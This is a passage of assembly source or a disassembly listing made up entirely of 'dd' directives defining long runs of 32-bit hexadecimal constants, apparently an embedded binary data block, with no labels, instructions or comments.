31E03802h dd 60F67C3Dh, 0B260D88h, 720903B4h, 8B0C3400h, 0E2031512h dd 870BB397h, 9571051Fh, 4062F96Bh, 5BBB1DE0h, 0AF00DEE6h dd 1065C753h, 0E6649DA6h, 0CC1C17AAh, 0C66D0EDBh, 45FA18E0h dd 0CD006210h, 0A044DFCAh, 1E2203D0h, 13B4BEh, 0F3FC7424h dd 1601CCD3h, 4EA9E95h, 3170E436h, 123B7F94h, 94CFDC9h dd 582039DFh, 6101C062h, 20C15D02h, 0C035A90Ch, 11F47Ah dd 60CC5379h, 10B6FE8Ch, 488DD000h, 849E18A1h, 0E7DA0055h dd 0F4A83788h, 420041CBh, 0BF6CAD3Dh, 13AC25B9h, 40103F75h dd 6A7B0E98h, 27000299h, 583AC8A6h, 0E8B24Dh, 821EEB5Ah dd 574620B4h, 8C765300h, 0EF11F1C3h, 0BEC8002Fh, 0E7C755FEh dd 6D024101h, 5B526927h, 45AD0097h, 53D9838h, 0F74E012Bh dd 621DEDE1h, 9A2F2D20h, 587A0088h, 0AE3C9519h, 5707252Ah dd 63A34962h, 690D7EA0h, 865B0E55h, 0A56C9CC1h, 340073AEh dd 0AC8247FDh, 0E4F04D6Ch, 53C203BEh, 16387156h, 0B586C1E0h dd 50E8CC50h, 8F136F00h, 1A0737D9h, 8ADB161Bh, 409C02AEh dd 46C091EBh, 52000C93h, 663754D4h, 1B893255h, 4610E9D7h dd 6A2ABDE0h, 35078A79h, 0A1150656h, 0BB72E6D0h, 46C50086h dd 0EC4E816Dh, 0E307EF10h, 0BF79AA41h, 8CC1B445h, 58308ED1h dd 4F7600D3h, 0B6868895h, 0BC008D05h, 0A5AFBBFDh, 1D84D159h dd 3B71839Ch, 0C093ED9Fh, 0DF4C32D4h, 3002045h, 0BD6CE274h dd 940D42h, 69179CE5h, 0DECD0EF4h, 85A95D00h, 0AEA843Ch dd 4FD012C7h, 0A3B70022h, 541887CCh, 40AE8200h, 67600333h dd 0CD880017h, 27C0DBB5h, 241CF776h, 0AE40FDBDh, 64316621h dd 0BA74C3h, 3AA2F3E0h, 9114F556h, 1FA54358h, 0C9C1AE9Dh dd 1830F478h, 1A93CC4h, 6C80D365h, 0D471618Bh, 0DD04D746h dd 0D17A1948h, 0A66E00BBh, 2B75BFBAh, 2739E00h, 7D5611B5h dd 0C61600D0h, 0DCE02677h, 3203460Ch, 3C2305DEh, 9A6CFB3Fh dd 0ED060BCh, 0B7080051h, 0FDDB25E0h, 4101DA43h, 31134A73h dd 0F94045F5h, 926302h, 46CCEDB2h, 752B330Fh, 0D6C51B00h dd 9DC64797h, 92FE00F4h, 0C01F392Ch, 0DE0B33BCh, 0C55FF9h dd 0EC6B382Bh, 0EE6900FEh, 85E17073h, 31000755h, 805445AFh dd 305BD9h, 0D15E3E93h, 744CA57Fh, 0EF61D01Dh, 0C2111940h dd 7AF7A69h, 0CD47E1E3h, 0EDABF368h, 40D95DD8h, 0A4A8C000h dd 3D1CBF0h, 0EE6E0097h, 61361170h, 82ECE0B0h, 21F46650h dd 0C65A9F24h, 88F60D01h, 18BA653Bh, 0E3DE0900h, 74E14B95h dd 4CA9CD07h, 8DE059E6h, 0DA511Eh, 0E7F2443Ah, 0ED7532ECh dd 0C2DEFC00h, 6166CDFEh, 49380035h, 71C00943h, 9A00A237h dd 7D2F554h, 2824E021h, 94C718h, 7CCD7855h, 0F010280Ah dd 363D101h, 1BA3F202h, 1EE88F8h, 160E759Fh, 0D01E1FCBh dd 3E00DFC4h, 0B2D01822h, 104FE4h, 49FC98E7h, 0A59C5BAFh dd 0BEC3DC00h, 0BDB506Bh, 66CC0089h, 9711B0CDh, 4576F846h dd 0CAC29200h, 61CBC19h, 0A676DBh, 8582352h, 8B77120Ah dd 0C12D7800h, 0BAD0556Dh, 0AB4B0043h, 4EA63E98h, 0D800B442h dd 8544CB58h, 0C571949h, 3E3C2EA1h, 6C011010h, 0BF0D96B8h dd 17CC551Eh, 0D1FA28A7h, 456D0096h, 0EE630744h, 0B00E58Eh dd 0C486E635h, 484CA25Ch, 8007F6Ch, 0CE24DC45h, 0FA0023FBh dd 3D71B93Ah, 0B7CF51h, 0E23BBB3Eh, 1AE5DCBAh, 0C9984E60h dd 1C0F96Ch, 9A58014Fh, 0F8A5803Dh, 316F0951h, 0C05A0FB8h dd 0F92899E0h, 0CD850FDFh, 0B48043FFh, 0E294DD11h, 41EAA600h dd 9F0CACD4h, 85840501h, 2395D44h, 353FA728h, 24645C20h dd 0DD190250h, 3C577AD7h, 674F0881h, 41EDF8BEh, 0FD7C0303h dd 0EB07A2E1h, 2840DD95h, 499ACBA9h, 8B51E42h, 0FA40009Dh dd 0E4ADF771h, 90F97F31h, 3DD002FCh, 35F2BBh, 30714894h dd 0B05B3709h, 0F0DC0500h, 67F3B2A9h, 0BDBA0180h, 68B7E16Dh dd 85F8F7DBh, 0FC009CD3h, 49611378h, 0FC2D099Dh, 95250008h dd 0C56656B3h, 820748EAh, 3B7F55C9h, 0D047832Eh, 6E81D832h dd 9FB200E9h, 56FC04E4h, 0D802EFA9h, 0AE5A5E1Eh, 0F1F0807Dh dd 0CA3B06h, 7B909E49h, 0BC4CD599h, 58D0E61Dh, 0F9B04AC0h dd 69B3CBh, 834236E9h, 57F89348h, 2C884954h, 0FF01827Ah dd 43202194h, 18806EA9h, 53324942h, 0AE000AABh, 0EACEF8B1h dd 0CC99E65h, 73A91716h, 106FD529h, 0E0996A9Ah, 5E718A00h dd 0E629D3AEh, 0B88E03C9h, 6D9F2EB3h, 79009B83h, 3C509842h dd 2DD966Eh, 9C3A1C5Dh dd 1083293Dh, 1E5AD08h, 674C9FFCh, 62C7DC5Ah, 0FCA40950h dd 5E503C00h, 93BB99CDh, 102EA96h, 0A13A26B0h, 80545660h dd 436EC038h, 7EDE74h, 64C790B5h, 0D909938Eh, 0B2DB2E00h dd 5B25863Dh, 38F7161h, 826E1816h, 0EDC1BACDh, 49908744h dd 43604139h, 0EE4DA090h, 0E5960076h, 133C17FBh, 820E6AB9h dd 0E1C048B2h, 73AA9171h, 3FF76E1h, 82611CD1h, 1DA0457Eh dd 7903069Ah, 53D1DAACh, 73E80E74h, 43807AB0h, 15F8CFA6h dd 0F3E2A000h, 5782D213h, 0D80D3C32h, 3778007Ch, 11657C4Bh dd 40005D2Ah, 8C0358D7h, 12EEE76h, 18829980h, 91398A7Dh dd 0F9001629h, 61A415B5h, 8F00EB97h, 0ADAF236h, 95C308h dd 81168E22h, 0B783DBBAh, 340753E6h, 33878CF5h, 5BFA5F60h dd 99F700F8h, 0FC1981BDh, 70003103h, 0F57B79BEh, 0F080B23h dd 0BCDE2BDFh, 0E4BA3AE0h, 0A500811Ah, 0AFD8313Ch, 0F22679h dd 0C6A2DDE8h, 5F5727C1h, 8B62D200h, 0DE778829h, 0FC360285h dd 9EC9FE3Dh, 0E8158481h, 0FB9AC04Fh, 0CEB23Bh, 0B1BF9C49h dd 440F970h, 0A1A38577h, 58A880E8h, 0A83EDC09h, 4700042h dd 9EF7087Dh, 857079h, 1CDB58FFh, 91B8B0C9h, 1F0B8E1Eh dd 0E8626780h, 0FC4EEBBh, 7312F249h, 30DBD6A0h, 3203FB41h dd 0E93A4ABEh, 0A23188C6h, 12DF0047h, 0A3BB9029h, 4E0016F9h dd 458A9275h, 0A81CFh, 29EE1B2Dh, 0C2F2C7E7h, 98D8F300h dd 0E9D02F44h, 40B0003Fh, 13990B46h, 6C009FDAh, 3E2C9BBBh dd 6B11Eh, 0CC05A7C6h, 343DFF65h, 0D7AF000h, 1C9DE5CEh dd 0B33B2899h, 66E00E2h, 5B68234Eh, 0B400486Dh, 0E522413h dd 3C7C52Eh, 35FDE8EDh, 0B6901EAFh, 89FECCF5h, 0FA42E914h dd 2F9F0795h, 0A07F6B01h, 7FF20AADh, 723A00B4h, 0D6E8271Ch dd 44001EF3h, 20131F19h, 0BED7ADh, 86B230F2h, 988AB592h dd 0AE621807h, 0C500255Fh, 0B8F401D2h, 0BD49000Fh, 40FB2C46h dd 0B5037CF2h, 896CDDFh, 90100E41h, 31E0FADAh, 45DBD0C5h dd 10F7D500h, 0E29B789Dh, 0B67FDDh, 23FCA4A2h, 0AB86DFCEh dd 61F63002h, 81F72C70h, 0B9A65684h, 913AB340h, 45D807DCh dd 7534DFD4h, 65868039h, 0D005A12h, 3319943Ah, 2C0221h dd 2D6AD71Ah, 8522B229h, 65A74701h, 0F0DAB53Dh, 75668440h dd 71F90186h, 27C7B712h, 231887EFh, 72502483h, 0F426E6CDh dd 81791863h, 0C434E990h, 0BCC74800h, 66B1DEEAh, 0E9E73F6Bh dd 325B5D0Eh, 81EF42C0h, 83000569h, 52D32859h, 7ADBDF35h dd 747A00EEh, 4D783D29h, 6F007E80h, 15BDAE08h, 0E49532h dd 2CD29AC8h, 2BC1492Fh, 3A91D31Eh, 6DB98000h, 49726h dd 0A2F1D976h, 0B65B75FAh, 1952AA01h, 0F52FE764h, 70749C40h dd 821A00F7h, 7E6A2B25h, 0CB003377h, 36030651h, 32DE57h dd 2A2EDA7h, 0C9260731h, 0F609C200h, 3962940Ah, 0BB6800B9h dd 0E4E9D844h, 0F97CA97Ah, 12BE3100h, 99EB9C26h, 6CC5034Eh dd 0CC4D1E8Eh, 77D8A790h, 59E9F202h, 0C07FE1E2h, 0F8F8727h dd 44E79A75h, 0D10E1A4Bh, 64A304E0h, 4C00EEDAh, 1E2EB0ABh dd 77F8A31h, 30BD3CACh, 0B1ACBC4Dh, 0AF94DF00h, 29B98150h dd 0F46F001Dh, 0FBB5ABD3h, 4DB89685h, 11105300h, 0AA0B240Eh dd 0A1C600A3h, 0DF6F8B6h, 31008BDBh, 127DE309h, 6A72BB4h dd 7E1AD0FEh, 0BE00B079h, 75D794B0h, 0ACA9D3h, 162A66Ch dd 9DFA7E16h, 2C970D1Ch, 853DF142h, 0AFE6404Fh, 0F9A2001Dh dd 0CF5AA663h, 4C00C8F7h, 5570BC03h, 712A8537h, 0E3D3003Ch dd 38975C2Dh, 3D0013D5h, 0DB41530Dh, 7D2CEA33h, 0A0B61C81h dd 56D04059h, 0A5A6B963h, 956D4300h, 5D9C0E2Dh, 4D2F01A0h dd 0FE8DAFCDh, 412C700Ah, 0DBE83400h, 820669BCh, 0A78B0042h dd 0C53C2993h, 0C1E4A8Ah, 87C0BE92h, 0CF4840C9h, 0EBFCA3h dd 0CAD5A1E8h, 0FA49F8A0h, 9B768F00h, 0E1EE6D71h, 2AD8078Dh dd 80EDE460h, 0BB949158h, 80BC563Ah, 0EB0F10B9h, 1EE12E98h dd 40436B1Dh, 3F6F1462h, 0E2EC323Ch, 88B3F212h, 0E1F0B020h dd 992E08Eh, 29215E56h, 988034A2h, 0D79162FFh, 0C04C7761h dd 0E50B8C18h, 8094AB2Ah, 86B11024h, 4FD43A84h, 0DF53FC00h dd 0BF7E696h, 3973739h, 60D92EC7h, 9DA29093h, 0ADF25Bh dd 36E6B8CEh, 33C8FAEEh, 4B273700h, 85E4E759h, 22FCA4h dd 0B9BF5C41h, 383CD7C1h, 9F1BB6E6h, 0D8C0ED83h, 3E20E82Dh dd 4A0E9406h, 28E7CAEBh, 0E6C7F012h, 46000DD7h, 784E9B29h dd 3CA4566h, 0CEF951B1h, 4E8E4EFh, 0EB00C480h, 8A1A7C49h dd 0E0CB695h, 96F4C372h, 0B3E20900h, 19096B3Bh, 203726F6h dd 0AD116CE0h, 591E073Fh, 47BE6D7Fh, 775D4306h, 0A0E9BA30h dd 0DEFDC569h, 0B5710030h, 556F5E86h, 591F8AE8h, 6B0FF188h dd 0EDC180ADh, 0E5DC6h, 4263380h, 63BA8C21h, 8AD5B100h dd 0C6F90686h, 0ECDE0F5Ch, 58066EBh, 1326238h, 0E3313300h dd 0A8A387C2h, 0A2700F0h, 0D6FAF8F4h, 0AE00FB2Bh, 81E4BD63h dd 332262h, 827D5BE2h, 53A5E01Ah, 54CE7528h, 860D6B02h dd 8057FA63h, 50133A64h, 6A6D3F7Ah, 2AFF018Ch, 0C30C6CC0h dd 29E83676h, 0FDA3006Bh, 0C1068DF6h, 46E890C4h, 6FC76A02h dd 2F2ACB7h, 0A49134F8h, 4E57E860h, 0B88DCB00h, 205BE9F4h dd 59BC003Bh, 0F2EAEB79h, 0DE0C3E18h, 0A8B358AAh, 0FA054CEDh dd 4EE3490Eh, 75824820h, 902CEFD2h, 9A0F9944h, 99A2E007h dd 54E096h, 0C11340C8h, 77D58205h, 4D2BC300h, 0D1090D0Ch dd 0F62F1351h, 0C1621DCDh, 4E1A8E13h, 9F3BD472h, 17A3180Bh dd 62D800C0h, 747E0h, 3E33202Ah, 43CC59E7h, 8D051700h dd 83815679h, 243600E5h, 0F2E853EAh, 0ED0096E4h, 1EFA7A87h dd 13ABE02h, 7E95B7B9h, 0D81BA476h, 88A834CAh, 68000326h dd 0B93C6DAAh, 2A56356Ah, 0B0EA0Bh, 287D9A02h, 0BB60A41Eh dd 0B134831Eh, 8CB4F44h, 0B8E853h, 640AA861h, 59A951h dd 0D74F308Eh, 4EACCBBBh, 1361894Ch, 4005637h, 0CD41EFF8h dd 95850CC5h, 9048556Bh, 5EEE6F00h, 0B1AAC071h, 0E3F518A6h dd 628086C5h, 0A7067DE0h, 0C110DF18h, 0BCE0A1h, 43D87612h dd 6FF9618Dh, 5100B074h, 0A0534E69h, 37E7EBC1h, 2030D9CCh dd 0A460A1A3h, 3D1EB86Eh, 5195D700h, 9B867Eh, 9A096B55h dd 3381AE1Dh, 8B2ADE00h, 0DA87D7F5h, 0EFC930F7h, 0C477E849h dd 0D8889FBh, 10A97Eh, 9A7B5A89h, 2A2D00A3h, 0D1581185h dd 2E024E6Ah, 0E0CF03A7h, 0DF049D9Ch, 805CAFE2h, 4177DE08h dd 5EE600FDh, 561DB45Dh, 0C0EABF4Bh, 0EA784C18h, 107A2619h dd 109F9648h, 5900E98Ch, 0E0C33FE2h, 8C07A04h, 284CBE9Ch dd 0E120CCE7h, 581F6E69h, 0EC9C8D84h, 6ADCA100h, 3BFEDDh dd 8F19CE17h, 0B54201B7h, 0E2077976h, 5A351638h, 0A5746D80h dd 0FE890036h, 2ECE0C7h, 0E81ED8CFh, 2E1EC06Bh, 0DEF10800h dd 7B650369h, 8040AB51h, 834326h, 86D09F92h, 6403AA31h dd 0C34BEA01h, 8CF7177Fh, 63A8D9CCh, 284C073h, 8DC93Ch dd 90AE36EDh, 0E9DB4BEh, 37AB685Ah, 0EA03332Eh, 691922DDh dd 0B1F87C9Eh, 0F980F161h, 26A5C343h, 40C3A722h, 0E3E49F03h dd 28018098h, 1E8C1FCFh, 1B4C003Bh, 5BE08FA7h, 0C9739703h dd 0C982A964h, 0D5F19B2Eh, 0B8F05FF1h, 2A3EE857h, 2ACE393h dd 83C01659h, 0E8AFAA2Eh, 0E400606Bh, 122EC6Dh, 0FCF7B12Ah dd 20429D06h, 0CC0441Ah dd 2174C7D2h, 75176480h, 5502C052h, 8386EF27h, 0FBA6FF98h dd 0AC587066h, 3E2E2124h, 14061011h, 18451F0Fh, 58398B00h dd 0DC18D224h, 0F7E700A8h, 83A02241h, 0AA0032F1h, 43DFB830h dd 91B803Bh, 94657ED2h, 0CD640401h, 0FC80CED0h, 7DF93DC2h dd 0F4013AE8h, 0AC32A39h, 1CE01156h, 45B8C065h, 5D5B3BB9h dd 0A270CFF8h, 86517CAEh, 4E10EE58h, 0E0A960E2h, 87126991h dd 0F326BC15h, 0D0245080h, 1288DB40h, 20BB9760h, 5F268668h dd 58752D2Dh, 0E9BC1837h, 0EDC5B062h, 0EBD41100h, 39AC0C2Eh dd 1C18C047h, 0C766DD7Eh, 7580348h, 0E13BB2F6h, 0D6CF05C0h dd 91BCF2A8h, 0ACEA025Ch, 4C40B1AFh, 7491C283h, 40250F12h dd 0F4A2900Ah, 8841FED8h, 5630DB8Eh, 0F86D2134h, 0EC6F491Ch dd 9458840Fh, 0D3806787h, 0E045E846h, 87EC40FCh, 4F010928h dd 54B318F6h, 344CB26Eh, 4443A2h, 547395B3h, 924EB183h dd 0CC6A48A4h, 0EECC700h, 5CE7CC8Ch, 2652C0A8h, 87668400h dd 0A8EA9534h, 15F83964h, 248444BEh, 88355973h, 5A03336Ch dd 5F6D167Dh, 0B7F8A0DBh, 0E9F7028Ah, 0B9113B1Dh, 80889488h dd 530F615Eh, 0B106F683h, 5827C04h, 68D4A0B9h, 7C80A3DDh dd 8DB90EF1h, 0F282BD4Ah, 0C49094E9h, 0D8F8F7B6h, 75910303h dd 808E7AC8h, 0EA59D64h, 294D6BC0h, 0AE599A83h, 0B80258CBh dd 1B3ABEFCh, 8380A02Bh, 24A0200Bh, 8E20017Fh, 6663E74Fh dd 81019E97h, 0DC17CC60h, 0A986C8B2h, 482FFC1Ch, 6C6EF20h dd 7FE742A1h, 34422822h, 0D3732002h, 5643FC25h, 3B1D6821h dd 0B85CD03h, 41E19BD1h, 0F11880E2h, 2382F2B3h, 4E68C3E9h dd 0C4C0D466h, 3B008B37h, 92BC2443h, 3D1360CBh, 0CC87FADFh dd 0FA224977h, 0E9278020h, 6808787Ah, 3D4B054Ch, 435B03D8h dd 0A3CC53h, 0FAC529B0h, 0CB4072Bh, 0C8F6AF3Dh, 0BF2C1418h dd 820900DCh, 94A93A89h, 0BEB900A0h, 0B4BAC9E8h, 682658B3h dd 388E2827h, 8B896339h, 0AAB0E3B2h, 88AC4271h, 3060E800h dd 746B4713h, 960A1F6Ah, 0C91A0BA5h, 0E2447C21h, 4C0BCD5Fh dd 4559BEFCh, 0ABEA0010h, 0AC936239h, 94AD0029h, 66F5B3DCh dd 20907D40h, 9BDBF307h, 0F7010B9Ch, 30E44CFEh, 8E2C0209h dd 0E1046069h, 85E9B098h, 12084A48h, 4056547h, 0B8045123h dd 0AC8062F6h, 269FF33Ch, 268C9D60h, 5CEA47D0h, 0BE3004CCh dd 0B3D2A9B2h, 36D814FEh, 7F26B029h, 611B00A4h, 0A5C29825h dd 4104DF34h, 0F0F3E883h, 4859C0C5h, 24071C01h, 30FAF537h dd 6C133B27h, 0F18A069h, 871689B5h, 0B6130ABDh, 0C16BA25Fh dd 8434DBF8h, 0EA6D1DB3h, 0AB942A36h, 1EA806E8h, 29D8D6B4h dd 28A8B883h, 30C8562Bh, 789C80A7h, 65300FEBh, 1B965E00h dd 0D3BA67C2h, 7B1A1CA1h, 7AB947DBh, 0DAA850CAh, 5C0084F7h dd 0E68981F3h, 9094A6h, 1A6A40D6h, 4BA3C7D3h, 1B2B3Ah dd 432530F8h, 727C19C2h, 1C1500F9h, 0F790B7C0h, 9F021AA5h dd 0B65A03A4h, 8BE06508h, 80311F8Dh, 6CE8CA4Ch, 0C2B70E88h dd 5C284C1Eh, 0C9A39CA6h, 4A209A4h, 95CC334h, 3891167Ch dd 20D3E552h, 5F48048Ch, 95F89068h, 6CB104A0h, 4C0C38Eh dd 20B2D56Dh, 0DC26F8A4h, 4442082h, 0CC5E8F40h, 0B214DB0Ch dd 1914F710h, 3A515127h, 639768D8h, 26E1B155h, 43ACA050h dd 8664E7E2h, 40CCF420h, 2D88024h, 80824CA8h, 40B028C8h dd 0E74615F4h, 22604C4Ch, 0FCD249A5h, 38CC7F3Fh, 4D90A909h dd 8F942480h, 13095E89h, 0E21874Ch, 0C2652140h, 884D0C45h dd 1D000033h, 82CC63A0h, 3E2665BAh, 74A4ACA3h, 90A24960h dd 0B387FA7Dh, 0DD00B828h, 9661A9F6h, 3D09C9F7h, 25C2AD14h dd 0D0C894ACh, 68294C71h, 573CCEC0h, 642ADCAFh, 2373BCBAh dd 0EC45291Ch, 26B65F02h, 50684877h, 0E191043Fh, 0CCF05C75h dd 82884124h, 0B07C5948h, 5004453Fh, 0DCBA735Ah, 5940D268h dd 0DB9809CEh, 1829EE1Dh, 43DF5024h, 0F9BE9F59h, 84E2A9E7h dd 1CA4804Ch, 0A8DB4D68h, 0F8BF2B1Ch, 4072DF02h, 0ECC19BEAh dd 615C56A5h, 5D0A9C00h, 0F2F7155Eh, 76200187h, 5990E10Bh dd 0FEC024DCh, 709D5F30h, 3C439867h, 0A065A40h, 49CC91DEh dd 176D1B04h, 0C8C1A356h, 6C4025D0h, 60863C01h, 8E1C296Eh dd 5A1FE1A7h, 0AA450282h, 0BC5F4885h, 4ADFFB05h, 0AA69000h dd 0F0745250h, 1808D19Dh, 0DCE0C8F2h, 0E50380C1h, 45F185C4h dd 0A24FC0A9h, 0FCBA4CA6h, 0E000E48Bh, 0E3D0613Fh, 38EFDB00h dd 0E1C22427h, 83C0055Bh, 0A40C836h, 14C630B8h, 43017499h dd 140973C4h, 4090EAC5h, 3B07A21Bh, 4E58B45Bh, 0E572C172h dd 8A22BDC4h, 3C00F8B9h, 0C3381B40h, 0B2B7E83Dh, 0EA78F0h dd 0C668DEDh, 0BBB3526Ch, 0C4A5CE28h, 8299D100h, 19B14507h dd 80755C5Ah, 152E5A58h, 4FE702BCh, 6CC8506Bh, 0A86064D8h dd 7F3E2389h, 669E0930h, 2C24AE49h, 4F9481EDh, 0F3F4405Bh dd 78612A36h, 44049030h, 9F62720h, 0DA17EA0Bh, 6B43E46Ah dd 3804C293h, 37F304B9h, 84369300h, 0B3008267h, 0FB64FEDFh dd 0A68F0AA5h, 0B6112108h, 396C3A82h, 0E0F3E384h, 4016Fh dd 5A02B98Ch, 0CF98D145h, 82B39900h, 9F93CBBh, 2050FF9Ch dd 356C4Ah, 0DE5D0C2Ah, 0BB1766CEh, 9C00B44Bh, 23C294AAh dd 5A3A02F2h, 97F8A6FEh, 0B241C50h, 0E09D70B0h, 0DD0DCA92h dd 0FC2418CCh, 21E44396h, 8DC562FBh, 20CCB605h, 41A7A52h dd 0B2D8F750h, 23209339h, 0A66C0880h, 588DF62Eh, 0A15C6A0Bh dd 2A39FCC4h, 86172028h, 178805CAh, 0EED0108Eh, 0B1920C05h dd 952C9088h, 0DCA0B9C1h, 9614E211h, 7C90CA2h, 0A7328F84h dd 975BDB30h, 64C32C67h, 0A6D806E8h, 0EA2ED817h, 12401041h dd 0AA635C87h, 0DCD04194h, 5D733880h, 5838B76Ch, 0EA059EECh dd 5CB14D6Bh, 30720832h, 170498F1h, 4C047C5Eh, 0FA020C80h dd 49E91CE5h, 0F7F8022Ah, 449CA8C6h, 0D4A21F2Ch, 0C8605851h dd 4A861C3Ah, 77C88090h, 0E8C08EBAh, 0E020303h, 21989C56h dd 821EA838h, 6B7CFDC2h, 65FC48C4h, 0E1AF0A68h, 87D098A7h dd 0C2C0788Eh, 0C07123FDh, 575BF741h, 0CC32D444h, 24B0B619h dd 0AEA4E7DEh, 5E370004h, 64C67390h, 0B5B09D54h, 23929400h dd 0B61740D2h, 0B8660AF7h, 4508D144h, 7810212Eh, 7C40A88Ah dd 8DE1B0A8h, 5EEA86FAh, 0E852C004h, 0D090DBA9h, 0BC3591F8h dd 0C35100A0h, 2888130Ch, 403EFC90h, 9452A55Bh, 0AA0E20DCh dd 0B4EF1C16h, 0D697A045h, 58CFA803h, 23310776h, 0F0A3C86Ch dd 9E79C073h, 3113A5Ch, 34A40183h, 60FC8AC2h, 9844F9B1h dd 5E690650h, 6029C9D0h, 0B834160Ch, 7D26839h, 803C0F7h dd 6BAFD1EEh, 59B4249Eh, 7588B093h, 0BD011FE6h, 54B1B4A7h dd 668420C3h, 13445A49h, 0E0592F1Dh, 0BA026E18h, 2EC1048h dd 1DF6AF00h, 0B4C0E342h, 473B003Eh, 0E0FB7DD9h, 3C4CF2CDh dd 0DDEC021Ch, 705894EBh, 5EA938C0h, 806C1A2Ch, 8CD605F0h dd 0DD317722h, 0FD89024h, 0A588880h, 873275F7h, 61C2A000h dd 0A53FE268h, 59E0E136h, 8C0A56Fh, 7101A9CEh, 4E894CECh dd 0B04C70h, 289DA885h, 3CB1180Eh, 553826h, 0A0453D12h dd 1842C097h, 94C1DE87h, 0D2FE4430h, 4BE0D26h, 10EB8E40h dd 66B60079h, 239EAAB1h, 0A20967C5h, 400C7E25h, 1F10888h dd 0B409EA7Ah, 3C82CB1Dh, 0D7DD0588h, 14B05C41h, 0C8F501Bh dd 0F85A7B5Fh, 4E4A4A9h dd 0B2DBC3A3h, 5A28A0DFh, 0ABC100B6h, 3CF20647h, 25B45303h dd 0A8BEABFAh, 2D34C1A8h, 0A400022Fh, 0A2F54DF6h, 0C9D85955h dd 0DE084045h, 42173797h, 0AC2314F3h, 0A6C1C83Eh, 14AF7103h dd 0FC390A35h, 44CFEA1Dh, 88976667h, 9C24B9A4h, 0B809FCC0h dd 0A6C50011h, 4D4455ECh, 0CD0CFCDCh, 0C098A85Ah, 0C13065F8h dd 770F185Bh, 185FE8E5h, 0D8929984h, 0A85BCFC7h, 0C5183C18h dd 0D8528293h, 0FDB47E09h, 5018015Eh, 9450BD84h, 6095AC08h dd 2891855h, 9B545956h, 0BA703CB0h, 0C249049h, 8412035h dd 0E9B8A82Bh, 0C1CE0A7h, 4C91EE10h, 2E954750h, 65D5E0B4h dd 61FADEh, 2A3890F1h, 358873B9h, 96113A00h, 0B1DF7FBDh dd 0D6D1889Ah, 48429130h, 39A8D765h, 3AB02DF6h, 7A0A5CF9h dd 481AD338h, 0F638030Eh, 0B4D8986Bh, 40EDCF80h, 7DBD0AF4h dd 38827F19h, 0BC6B5487h, 0C7C3751Fh, 0BFF2C0A6h, 6D732A46h dd 7B395001h, 62B43606h, 17C6D30h, 16CFEE9Bh, 0EBE57F6Bh dd 34D04000h, 0F074B1E0h, 0B9A3071Ch, 46A2B4D7h, 91032126h dd 917B141h, 4C589884h, 0C269114Dh, 23720054h, 11213AD8h dd 0CE2C007Bh, 6A09DBF1h, 0D0674385h, 79163B28h, 6FE0631h dd 0A80B4A40h, 0E1C6680Eh, 0E930F867h, 29840CBCh, 9C38CFE8h dd 130A7507h, 74A1F9B4h, 8BCFBC9h, 0FC20D1B0h, 2000A6Ch dd 0FA71D2F1h, 60693486h, 0E23B4083h, 7F032F58h, 9966EEA9h dd 54800073h, 627C95CBh, 180C8B03h, 882FA05h, 204260D6h dd 0A77C01B8h, 0C00EF900h, 8B4429FEh, 0D44107E1h, 0F07E5DBCh dd 46857717h, 22927D07h, 5462CC62h, 0E10C402Ch, 0FAA100D5h dd 0B67DB3C2h, 770070E6h, 4F237A88h, 3B1EC684h, 0F7800941h dd 833B5E7Dh, 6A003CF5h, 9E06AA34h, 77A6D31h, 6F2DBA53h dd 908F043h, 0A40003F2h, 5C1E8E93h, 0EBFC1h, 0A16389CBh dd 9E2A3008h, 0A20BF600h, 8C01FBB0h, 7986FCC6h, 6AE00007h dd 0DC75AE02h, 8E388D50h, 80AABED8h, 0B120DBCFh, 0B0285594h dd 777601AFh, 0AF05F549h, 0ED3EC89h, 4292EF00h, 5491C916h dd 0A97A07A7h, 0A728C15Fh, 9CD3C085h, 350052DFh, 3DCC303Bh dd 0DAEC3Ch, 1AF793B5h, 0AE8537C9h, 382E101h, 55FB0D16h dd 0FE662081h, 0F08F99D6h, 0AC01C87Dh, 92A6370Bh, 25614C13h dd 84E1E0h, 0CAD3446Dh, 0F2FE8180h, 0ABDD08C6h, 0E88C5020h dd 0DEB51DA3h, 0BA53FFh, 2030711Eh, 5703B3DAh, 0F5390827h dd 13003B5h, 0C770C9ACh, 5381CBA8h, 26F63501h, 0ED54237Eh dd 100B9881h, 80A24ED2h, 58928931h, 72C37BFh, 4420A7DFh dd 105643DEh, 2AE42001h, 36774EC2h, 3976186Eh, 0A20769C3h dd 0F2062694h, 3168C6h, 351541C6h, 0E8F7148Dh, 0E5111918h dd 0F0E691D1h, 70174BAh, 0C71205C6h, 9A87B0B8h, 0CF00C152h dd 1B93E7DCh, 55786983h, 0C3D4947Eh, 605C5087h, 450E8CD1h dd 68EB7EC1h, 406764DEh, 82585DE9h, 0C0815035h, 3B6D143Eh dd 403CC88h, 0CDF1CA6Ch, 723E1F0h, 0FA3F0500h, 241D5D18h dd 68B039h, 0C3369B40h, 12262EA9h, 0BB0122F0h, 0BC519F2Bh dd 0C1D1F8ABh, 0CB245E0h, 8677DB36h, 0FA004728h, 6A6923EFh dd 0C89B42h, 0DCE3BE82h, 9ECDC14Dh, 1CD8F71Bh, 0BA8BC048h dd 0A7670065h, 92C481CEh, 8EE8835Eh, 0DF20A46Fh, 0B47566C0h dd 0AE8113h, 0AAE88F3Bh, 38566FC6h, 0A75D9307h, 26B01227h dd 33ACAF58h, 0CCA9C19Bh, 80323AD1h, 0A4147698h, 7A9BAA5Eh dd 865D0161h, 0C2E3E4C8h, 0F949C4C6h, 4F6D28C0h, 0C0F5B470h dd 0CA683FE1h, 6B037614h, 0DC1E1017h, 800BA224h, 0F8BC2BDEh dd 7CFB38BFh, 0A919AA80h, 102C639Bh, 0FD80370Fh, 0EC3800A6h dd 0E75551h, 62282A72h, 0F7A48DB1h, 0FDF09Fh, 91DC8A9Ah dd 74C2E192h, 67F36F1Ch, 0D0068180h, 2EE887h, 933DEDA8h dd 968DB23h, 25006373h, 3C8BF001h, 5715BE5h, 0AD657E04h dd 334580CAh, 1B0B771Ah, 80D426C6h, 48F94C3Ch, 44B90343h dd 0F241313Fh, 80E474C0h, 8F3EF63Dh, 5E3CECD6h, 0EE7BC4C0h dd 283510h, 0DA325BBDh, 3F148CE3h, 80E028C8h, 12282230h dd 4D2480E1h, 5B00D27Bh, 0B4A1A884h, 995E00ACh, 0F8FD857Eh dd 0F8F91EB6h, 0B1001F12h, 0D5CD565Dh, 19BB33Ah, 0C6EEAE77h dd 0F0EA6C62h, 0BF07F17Fh, 4DFB35B7h, 0BAA02D9h, 5D47E89Bh dd 0F447EE02h, 8872005Ah, 0DEB3D12Eh, 0F17C2657h, 7B333Ah dd 440A6785h, 8E5F4Dh, 48923843h, 